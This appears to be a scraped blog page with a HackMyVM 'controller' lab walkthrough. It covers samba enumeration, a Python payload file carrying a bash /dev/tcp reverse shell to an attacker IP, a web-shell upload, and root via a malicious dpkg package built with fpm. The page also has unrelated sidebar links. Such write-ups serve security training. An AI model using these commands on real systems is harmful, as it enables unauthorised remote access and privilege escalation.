当前位置:网站首页>hackmyvm: controller walkthrough
hackmyvm: controller walkthrough
2022-08-02 03:25:00 【xdeclearn】
1. get first reverse shell
visit port 80, from the page http://192.168.85.135/index.php/2021/06/27/hola-mundo/
we get hint.
use enum4linux
to get samba shares, the we get the directory tester
which we can visit without user and passwd.
follow the hint, we put the text.txt using smbclient
in this share, wait a moment, we get first reverse shell.
test.txt
import commands
commands.getoutput('/bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.85.129/4444 0>&1"')
2. get root
check process list, we can see the user webservies run php localhost.
we use the tool venom
to forward localhost port 8080 to attack machine port 8888.
upload a word shell by upload.php
.
because of thedisable_functions
, you can not use terminal directly. you can use php7_userfilter
to bypass. But in there, you do not need to do this.
check the file which own to user webservices
.
we find the /opt/logs/log.txt
will be changed by /opt/website.py
at intervals. so we change the file to reverse a new shell.
then, we get the new user shell.
check sudo -l
, we find the dpkg -i
[1]. make a particular deb by using fpm
, we get the root.
TF=$(mktemp -d)
echo 'exec /bin/sh' > $TF/x.sh
fpm -n x -s dir -t deb -a all --before-install $TF/x.sh $TF
3. references
- https://gtfobins.github.io/gtfobins/dpkg/
边栏推荐
- 每日五道面试题总结 22/7/21
- 16.JS事件, 字符串和运算符
- vim编辑模式
- 3. PHP data types, constants, strings and operators
- 每日面试题 2022/7/28
- js __proto__、prototype、constructor的关系
- [vite] Failed to parse source for import analysis because the content contains invalid JS syntax.
- 如何计算地球上两点的距离(附公式推导)
- [symfony/mailer] An elegant and easy-to-use mail library
- Stable and easy-to-use short connection generation platform, supporting API batch generation
猜你喜欢
PHP8.2 version release administrator and release plan
Small program van-cell line wrapping can be left-aligned
(5) 模块与包、编码格式、文件操作、目录操作
Thread Pool (Introduction and Use of Thread Pool)
js __proto__、prototype、constructor的关系
Solve the problem of Zlibrary stuck/can't find the domain name/reached the limit, the latest address of Zlibrary
js eventLoop 事件循环机制
Stable and easy-to-use short connection generation platform, supporting API batch generation
[league/climate]一个功能健全的命令行功能操作库
Pycharm打包项目为exe文件
随机推荐
---static page---
解决5+APP真机测试无法访问后台(同局域网)
js __proto__、prototype、constructor的关系
(3) Thinkphp6 database
JS对象, 函数和作用域
Small program van-cell line wrapping can be left-aligned
12. What is JS
4. PHP array and array sorting
面试总结 22/7/22 面试中的重点
Solve the problem of uni - app packaged H5 website to download image
kali安装IDEA
每日五道面试题总结 22/7/23
每日五道面试题总结 22/7/21
[mikehaertl/php-shellcommand]一个用于调用外部命令操作的库
[phpunit/php-timer]一个用于代码执行时间的计时器
--fs module--
ES6数组的扩展方法map、filter、reduce、fill和数组遍历for…in for…of arr.forEach
npm --package.json---require
Multithreading (implementing multithreading, thread synchronization, producer and consumer)
PHP入门(自学笔记)